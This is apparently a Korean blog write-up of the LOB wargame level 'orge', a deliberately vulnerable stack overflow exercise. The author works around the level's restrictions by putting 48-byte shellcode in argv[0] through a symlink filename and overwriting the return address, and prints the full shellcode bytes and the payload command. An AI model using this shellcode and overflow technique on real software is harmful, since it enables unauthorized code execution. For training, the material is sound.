LOB 8 - orge write up |
LOB 8 orge write up 입니다.
계속해서 같은 스택프레임 구조에 제약사항만 추가되는 형태로 문제가 진행되고 있다.
이번에는
argc가 2개 그니까, 하나의 명령어를 가지고 문제를 해결하란 소리다.
이전에 argv[2] 에 쉘코드를 넣고 주소를 주던 그런 방식은 더 이상 통하지 않는다
총 제약을 정리하면 다음과 같다.
환경변수 초기화 -> 환경변수 사용 x 버퍼 초기화 -> 버퍼 내부에 쉘코드 넣는것 x argv[1]의 길이제한 48번째 바이트는 \xbf 하나의 인자만 입력 가능 |
좀 고민하면서 삽질해보다가 잘 모르겠어서 또 다른 분들의 라업을 참고했는데 내가 처음에 생각한 아이디어는 맞았다
바로 이전 문제에서 사용한 심볼릭 링크가 그렇게 의미 있지않게 사용되었다고 느꼈기때문에.. 심볼릭 링크를 이용해서
쉘코드를 argv[0]에 넣어 사용하는 것이다.
그리고 argv[0]의 주소를 ret으로 주는 페이로드를 작성하면 문제를 풀 수 있다.
하지만 여기서 한가지 주의할점은 쉘코드중 \x2f가 파일명에서 사용되면 인식이 되지않기때문에 \x2f가 없는 쉘코드로 구해야한다.
https://m.blog.naver.com/mathboy7/220215329450
위의 블로그에서 제공해주는 파일명 shellcode를 가져왔다. (48byte)
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 |
이전문제와 마찬가지로 그럼 파일링크를 생성하자.
그리고 이제 argv[0] 즉 파일이름이 저장되는 메모리 주소를 알아야한다.
복사본 파일을 만들고 찾아보기 쉽게 파일이름으로 50개의 C를 주자.
[orge@localhost tmp]$ mv troll `python -c 'print "C"*50'` [orge@localhost tmp]$ ls CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC [orge@localhost tmp]$ gdb CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC |
main+242 에 bp를 걸고
esp를 확인한다.
c가 나오는 구간의 적당한 주소 0xbffffbe4를 선택해보자.
argv[0] : ./\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 argv[1] : `python -c 'print "A" * 44 + "\xe4\xfb\xff\xbf" '` payload : |
이렇게하면 될줄 알았는데 안된다. 막힐때마다 core dump를 확인해보면 도움이 됐던것 같아서
이번에 그냥 앞에서 생성한 링크의 복사본을 tmp 디렉토리에 넣고 gdb로 뜯어보았다.
0xbfffb60부터 nop-sled와 쉘코드가 깔려있는것을 찾았다. core dump 파일에서 얻은 argv[0] 주소로 다시 시도해보자
성공했다.
실제 프로세스가 가동될때와 gdb로 뜯어볼때의 스택주소가 차이날수있다는 글도 보았는데.. core dump 를 뜯어보는게
좀 더 정확한 주소가 나오는거같다
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 10 - vampire (0) | 2021.10.03 |
---|---|
[포너블] LOB 9 - troll (0) | 2021.10.03 |
[포너블] LOB 7 - darkelf (0) | 2021.10.03 |
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
[포너블] LOB 5 - orc (0) | 2021.09.30 |
댓글